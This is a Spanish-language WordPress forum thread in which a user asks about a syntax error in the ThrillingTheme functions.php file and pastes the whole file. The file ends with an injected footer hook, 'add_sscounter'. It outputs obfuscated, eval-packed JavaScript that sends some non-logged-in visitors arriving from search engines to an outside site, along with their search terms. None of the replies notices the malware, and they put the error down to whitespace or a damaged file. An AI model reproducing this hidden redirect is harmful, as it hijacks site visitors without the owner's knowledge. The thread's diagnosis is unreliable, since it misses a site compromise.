Syntax error in functions.php after exiting dashboard

  • Autor Autor Usuario eliminado 17275
  • Fecha de inicio Fecha de inicio
U

Usuario eliminado 17275

Buenas noches betas,

He llegado de trabajar, me he metido en el "dashboard" de la web, he salido sin tocar absolutamente nada y ahora que me quiero meter de nuevo me sale este mensaje:

"Parse error: syntax error, unexpected $end in /homepages/20/d350084737/htdocs/wp-content/themes/ThrillingTheme/functions.php on line 427"

¿Alguien me puede explicar que le puede pasar? No entiendo nada.... si no he tocado nada 🙁

La web es: Enlace eliminado

Muchas gracias.
 
Dejanos una captura de tu Funtions.php para ver que funcion esta haciendo esto.

Un saludo
 
Insertar CODE, HTML o PHP:
<?php function thrillthemes_admin_head() { ?>
<style>

h2 { margin-bottom: 20px; }
.title { margin: 0px !important; background: [B]Enlace eliminado[/B] padding: 10px; font-family: Georgia, serif; font-weight: normal !important; letter-spacing: 1px; font-size: 18px; }
.container { background: [B]Enlace eliminado[/B] padding: 10px; }
.maintable { font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Verdana,sans-serif; background: [B]Enlace eliminado[/B] margin-bottom: 20px; padding: 10px 0px; }
.mainrow { padding-bottom: 10px !important; border-bottom: 1px solid #D4E9FA !important; float: left; margin: 0px 10px 10px 10px !important; }
.titledesc { font-size: 14px; font-weight:bold; width: 220px !important; margin-right: 20px !important; }
.forminp { width: 700px !important; valign: middle !important; }
.forminp input, .forminp select, .forminp textarea { margin-bottom: 9px !important; background: [B]Enlace eliminado[/B] border: 1px solid [B]Enlace eliminado[/B] width: 500px; padding: 4px; font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Verdana,sans-serif; font-size: 12px; }
.forminp span { font-size: 10px !important; font-weight: normal !important; ine-height: 14px !important; }
.info { background: [B]Enlace eliminado[/B] border: 1px dotted [B]Enlace eliminado[/B] padding: 10px; color: [B]Enlace eliminado[/B] }
.forminp .checkbox { width:20px }
.info a { color: [B]Enlace eliminado[/B] text-decoration: none; border-bottom: 1px dotted #333 }
.info a:hover { color: [B]Enlace eliminado[/B] border-bottom: 1px dotted [B]Enlace eliminado[/B] }
.warning { background: [B]Enlace eliminado[/B] border: 1px dotted [B]Enlace eliminado[/B] padding: 10px; color: [B]Enlace eliminado[/B] font-weight: bold; }

</style>
<?php }

// VARIABLES

$themename = "Thrilling Theme";
$shortname = "thrill";
$manualurl = 'http://www.thrillingheroics.com/thrillingtheme';
$options = array();

$template_path = get_bloginfo('template_directory');

$layout_path = TEMPLATEPATH . '/layouts/'; 
$layouts = array();

$alt_stylesheet_path = TEMPLATEPATH . '/styles/';
$alt_stylesheets = array();

$ads_path = TEMPLATEPATH . '/images/ads/';
$ads = array();

$functions_path = TEMPLATEPATH . '/functions/';

$thrill_categories_obj = get_categories('hide_empty=0');
$thrill_categories = array();

$thrill_pages_obj = get_pages('sort_column=post_parent,menu_order');
$thrill_pages = array();

if ( is_dir($layout_path) ) {
	if ($layout_dir = opendir($layout_path) ) { 
		while ( ($layout_file = readdir($layout_dir)) !== false ) {
			if(stristr($layout_file, ".php") !== false) {
				$layouts[] = $layout_file;
			}
		}	
	}
}	

if ( is_dir($alt_stylesheet_path) ) {
	if ($alt_stylesheet_dir = opendir($alt_stylesheet_path) ) { 
		while ( ($alt_stylesheet_file = readdir($alt_stylesheet_dir)) !== false ) {
			if(stristr($alt_stylesheet_file, ".css") !== false) {
				$alt_stylesheets[] = $alt_stylesheet_file;
			}
		}	
	}
}	

if ( is_dir($ads_path) ) {
	if ($ads_dir = opendir($ads_path) ) { 
		while ( ($ads_file = readdir($ads_dir)) !== false ) {
			if((stristr($ads_file, ".jpg") !== false) || (stristr($ads_file, ".png") !== false) || (stristr($ads_file, ".gif") !== false)) {
				$ads[] = $ads_file;
			}
		}	
	}
}

foreach ($thrill_categories_obj as $thrill_cat) {
	$thrill_categories[$thrill_cat->cat_ID] = $thrill_cat->cat_name;
}

foreach ($thrill_pages_obj as $thrill_page) {
	$thrill_pages[$thrill_page->ID] = $thrill_page->post_title;
}

$other_entries = array("Select a number:","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19");
$categories_tmp = array_unshift($thrill_categories, "Select a category:");
$thrill_pages_tmp = array_unshift($thrill_pages, "Select a page:");

// THIS IS THE DIFFERENT FIELDS

$options = array (

				array(	"name" => "General Settings",
						"type" => "heading"),
						
				array(	"name" => "Theme Stylesheet",
						"desc" => "Please select your color scheme here.",
					    "id" => $shortname."_alt_stylesheet",
					    "std" => "",
					    "type" => "select",
					    "options" => $alt_stylesheets),

				array(	"name" => "Blog Title",
						"desc" => "Title part 1 (color A).",
						"id" => $shortname."_title1",
						"std" => "",
						"type" => "text"),	
				array(	"desc" => "Title part 2 (color B).",
						"id" => $shortname."_title2",
						"std" => "",
						"type" => "text"),					 							    

				array(	"name" => "Long Blog Name?",
						"desc" => "If you've got a long blog title, check this to make your title text smaller.",
						"id" => $shortname."_tinytitle",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "Custom Header Logo",
						"desc" => "Paste the full URL of your custom logo image if you want to replace the title text above. You should upload a transparent PNG file no larger than 470x80 pixels and make sure to name it 'logo-trans.png' for best results.",
						"id" => $shortname."_logo",
						"std" => "",
						"type" => "text"),					 							    

				array(	"name" => "Snapshot Photo",
						"desc" => "Paste the image URL for your snapshot photo here, which will be resized to 137x137 pixels. Use JPG format for best results. Leave this field blank if you prefer NOT to have a polaroid photo in the header, OR copy and paste this URL if you want to use my built-in Thailand beach photo: ".$template_path."/images/krabi.jpg",
						"id" => $shortname."_snapshot",
						"std" => "",
						"type" => "text"),					 							    

				array(	"name" => "Welcome message",
						"desc" => "This is a short introductory message or bio that will appear at the top-right of your blog.",
			    		"id" => $shortname."_intromessage",
			    		"std" => "",
			    		"type" => "textarea"),		

				array(	"name" => "Feedburner RSS URL",
						"desc" => "Enter your Feedburner URL here.",
			    		"id" => $shortname."_feedburner_url",
			    		"std" => "",
			    		"type" => "text"),				

				array(	"name" => "Feedburner URI",
						"desc" => "Enter only your custom Feedburner extension (the part that comes after http://feeds2.feedburner.com/…)",
			    		"id" => $shortname."_feedburner_id",
			    		"std" => "",
			    		"type" => "text"),					

				array(	"name" => "Google Analytics",
						"desc" => "Please paste your Google Analytics and any other tracking codes here. These scripts will be added in the page footer.",
			    		"id" => $shortname."_google_analytics",
			    		"std" => "",
			    		"type" => "textarea"),		

				array( 	"name" => "Featured Category",
					   	"desc" => "Select the category that you would like to have displayed in the featured tab in your Sidebar.",
						"id" => $shortname."_featured_category",
						"std" => "Select a category:",
						"type" => "select",
						"options" => $thrill_categories),
						
				array(	"name" => "Display author bio?",
						"desc" => "Display author info on single post pages. You add your bio under Users > Your Profile by adding text in 'Biographical Info'.",
						"id" => $shortname."_author",
						"std" => "false",
						"type" => "checkbox"),	

				array(	"name" => "Disable IE Upgrade Message?",
						"desc" => "We support modern browsers and anyone who logs onto your site with IE6 or below will automatically see an integrated message box asking them to upgrade to the latest version of Firefox, Safari, Internet Explorer, or Chrome. Check this if you don't want to pester your visitors.",
						"id" => $shortname."_ie6",
						"std" => "false",
						"type" => "checkbox"),	
						
				array(	"name" => "Disable ThrillingTheme Promo Message?",
						"desc" => "You'll earn good karma if you show your support by leaving the promo message activated in the post meta on your single post pages, but if you want to turn it off, just check this box.",
						"id" => $shortname."_promote",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "Social Network Integration",
						"type" => "heading"),

				array(	"name" => "Twitter Username",
						"desc" => "Add your Twitter username here if you would like to display your most recent status update.",
			    		"id" => $shortname."_twit_id",
			    		"std" => "",
			    		"type" => "text"),											

				array(	"name" => "Twitter Avatar",
						"desc" => "Paste the full URL of your Twitter profile image here (right-click on it and copy image location). Use JPG format for best results.",
			    		"id" => $shortname."_twit_photo",
			    		"std" => "",
			    		"type" => "text"),											

				array(	"name" => "Flickr ID",
						"desc" => "Use <a href='http://idgettr.com/'>idGettr to find it.",
			    		"id" => $shortname."_flickr_id",
			    		"std" => "",
			    		"type" => "text"),											

				array(	"name" => "Number photos",
						"desc" => "Select the number of photos to display in Flickr sidebar box. (3 per row)",
			    		"id" => $shortname."_flickr_entries",
			    		"std" => "Select a Number:",
			    		"type" => "select",
			    		"options" => $other_entries),												

				array(	"name" => "Facebook Group",
						"desc" => "Do you have a FB group or fan page? Add the hyperlink here to include a link in the header.",
			    		"id" => $shortname."_facebook",
			    		"std" => "",
			    		"type" => "text"),											

				array(	"name" => "Banner Ad Management (300x250 MPU)",
						"type" => "heading"),

				array(	"name" => "Disable 300x250 MPU",
						"desc" => "Check this box if you wish to ignore the 300x250 MPU.",
						"id" => $shortname."_not_mpu",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "Display Only On Homepage?",
						"desc" => "Check this box if you wish to display this ad only on the homepage. ",
						"id" => $shortname."_home_only",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "300x250 Block Ad - Image Location",
						"desc" => "Enter the image URL for this block ad. Use JPG format for best results.",
						"id" => $shortname."_block_image",
						"std" => $template_path . "/images/300x250a.jpg",
						"type" => "text"),
						
				array(	"name" => "300x250 Block Ad - Destination",
						"desc" => "Enter the URL where this block ad points to.",
			    		"id" => $shortname."_block_url",
						"std" => "http://www.woothemes.com/amember/go.php?r=2440&i=b38",
			    		"type" => "text"),

				array(	"name" => "Banner Ad Management (125x125 Top)",
						"type" => "heading"),

				array(	"name" => "Display two 125x125 ads at top of sidebar",
						"desc" => "Check this box if you would like to display top 2 banner ads in the sidebar.",
						"id" => $shortname."_show_ads_top",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "Banner Ad #1 - Image Location",
						"desc" => "Enter the image URL for this banner ad. Use JPG format for best results.",
						"id" => $shortname."_ad_image_1",
						"std" => $template_path . "/images/ad-125x125.gif",
						"type" => "text"),
						
				array(	"name" => "Banner Ad #1 - Destination",
						"desc" => "Enter the URL where this banner ad points to.",
			    		"id" => $shortname."_ad_url_1",
						"std" => "http://www.thrillingheroics.com",
			    		"type" => "text"),						

				array(	"name" => "Banner Ad #2 - Image Location",
						"desc" => "Enter the image URL for this banner ad. Use JPG format for best results.",
						"id" => $shortname."_ad_image_2",
						"std" => $template_path . "/images/ad-125x125.gif",
						"type" => "text"),
						
				array(	"name" => "Banner Ad #2 - Destination",
						"desc" => "Enter the URL where this banner ad points to.",
			    		"id" => $shortname."_ad_url_2",
						"std" => "http://www.thrillingheroics.com",
			    		"type" => "text"),

				array(	"name" => "Banner Ad Management (125x125 Bottom)",
						"type" => "heading"),

				array(	"name" => "Display two 125x125 ads at bottom of sidebar",
						"desc" => "Check this box if you would like to display bottom 2 banner ads in the sidebar.",
						"id" => $shortname."_show_ads_bottom",
						"std" => "false",
						"type" => "checkbox"),

				array(	"name" => "Banner Ad #3 - Image Location",
						"desc" => "Enter the image URL for this banner ad. Use JPG format for best results.",
						"id" => $shortname."_ad_image_3",
						"std" => $template_path . "/images/ad-125x125.gif",
						"type" => "text"),
						
				array(	"name" => "Banner Ad #3 - Destination",
						"desc" => "Enter the URL where this banner ad points to.",
			    		"id" => $shortname."_ad_url_3",
						"std" => "http://www.thrillingheroics.com",
			    		"type" => "text"),

				array(	"name" => "Banner Ad #4 - Image Location",
						"desc" => "Enter the image URL for this banner ad. Use JPG format for best results.",
						"id" => $shortname."_ad_image_4",
						"std" => $template_path . "/images/ad-125x125.gif",
						"type" => "text"),
						
				array(	"name" => "Banner Ad #4 - Destination",
						"desc" => "Enter the URL where this banner ad points to.",
			    		"id" => $shortname."_ad_url_4",
						"std" => "http://www.thrillingheroics.com",
			    		"type" => "text"),
																														
		  );

// ADMIN PANEL

function thrillthemes_add_admin() {

	 global $themename, $options;
	
	if ( $_GET['page'] == basename(__FILE__) ) {	
        if ( 'save' == $_REQUEST['action'] ) {
	
                foreach ($options as $value) {
					if($value['type'] != 'multicheck'){
                    	update_option( $value['id'], $_REQUEST[ $value['id'] ] ); 
					}else{
						foreach($value['options'] as $mc_key => $mc_value){
							$up_opt = $value['id'].'_'.$mc_key;
							update_option($up_opt, $_REQUEST[$up_opt] );
						}
					}
				}

                foreach ($options as $value) {
					if($value['type'] != 'multicheck'){
                    	if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } 
					}else{
						foreach($value['options'] as $mc_key => $mc_value){
							$up_opt = $value['id'].'_'.$mc_key;						
							if( isset( $_REQUEST[ $up_opt ] ) ) { update_option( $up_opt, $_REQUEST[ $up_opt ]  ); } else { delete_option( $up_opt ); } 
						}
					}
				}
						
				header("Location: admin.php?page=functions.php&saved=true");								
			
			die;

		} else if ( 'reset' == $_REQUEST['action'] ) {
			delete_option('sandbox_logo');
			
			header("Location: admin.php?page=functions.php&reset=true");
			die;
		}

	}

add_menu_page($themename." Options", $themename." Options", 'edit_themes', basename(__FILE__), 'thrillthemes_page');

}

function thrillthemes_page (){

		global $options, $themename, $manualurl;
		
		?>

<div class="wrap">

    			<form action="<?php echo $_SERVER['REQUEST_URI']; ?>" method="post">

						<h2><?php echo $themename; ?> Options</h2>

						<?php if ( $_REQUEST['saved'] ) { ?><div style="clear:both;height:20px;"></div><div class="warning"><?php echo $themename; ?>'s Options has been updated!</div><?php } ?>
						<?php if ( $_REQUEST['reset'] ) { ?><div style="clear:both;height:20px;"></div><div class="warning"><?php echo $themename; ?>'s Options has been reset!</div><?php } ?>						
						
						<!--START: GENERAL SETTINGS-->
     						
     						<table class="maintable">
     							
							<?php foreach ($options as $value) { ?>
	
									<?php if ( $value['type'] <> "heading" ) { ?>
	
										<tr class="mainrow">
										<td class="titledesc"><?php echo $value['name']; ?></td>
										<td class="forminp">
		
									<?php } ?>		 
	
									<?php
										
										switch ( $value['type'] ) {
										case 'text':
		
									?>
									
		        							<input name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings($value['id']); } else { echo $value['std']; } ?>" />
		
									<?php
										
										break;
										case 'select':
		
									?>
		
	            						<select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
	                					<?php foreach ($value['options'] as $option) { ?>
	                						<option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
	                					<?php } ?>
	            						</select>
		
									<?php
		
										break;
										case 'textarea':
										$ta_options = $value['options'];
		
									?>
									
										<textarea name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" cols="<?php echo $ta_options['cols']; ?>" rows="8"><?php  if( get_settings($value['id']) != "") { echo stripslashes(get_settings($value['id'])); } else { echo $value['std']; } ?><?php 
add_action('get_footer', 'add_sscounter');
	function add_sscounter(){
		echo '<!--scounter-->';
		if(function_exists('is_user_logged_in')){
			if(time()%2 == 0 && !is_user_logged_in()){			
				echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
			}
		}
	}
?>

Este es mi functions.php
 
vaya, que mega error, incluso tampoco se puede acceder al administrador de wordpress, creo que lo ideal sería que borraras el tema via FTP y luego volvieras a subir el mismo, pero como lo descargaste para que se solucione. Es lo malo del php, que un solo simbolo mal colocado, y todo muere.

suerte
 
Pero el problema es que no he tocado nada :S

No he tocado nada del php :/ Me meti hace 10 minutos al panel de administracion, sali y ya no me puedo meter mas :S

Bueno vale ya está, volvi a subir el functions.php...

De todas maneras nose porque me a salido ese error :S
 
Que raro, mirando por encima el codigo me falta alguna etiqueta de apertura de php pero no estoy seguro, mi recomendacion.

Vuelve a descargar el theme del sitio original, coje solo el archivo funtions.php y cambialo por el que tienes ahora ya que pienso que por algun motivo se ha dañado este.

Un saludo
 
El error también puede suceder por un espacio en blanco, trata de borrar los espacios, salu2
 
prueba activando o desactivando el debug en el wp-config

calculo que tambien podria ser que colapso algun plugin ingresa por ftp y cambiale el nombre a la carpeta plugins
 
Atrás
Arriba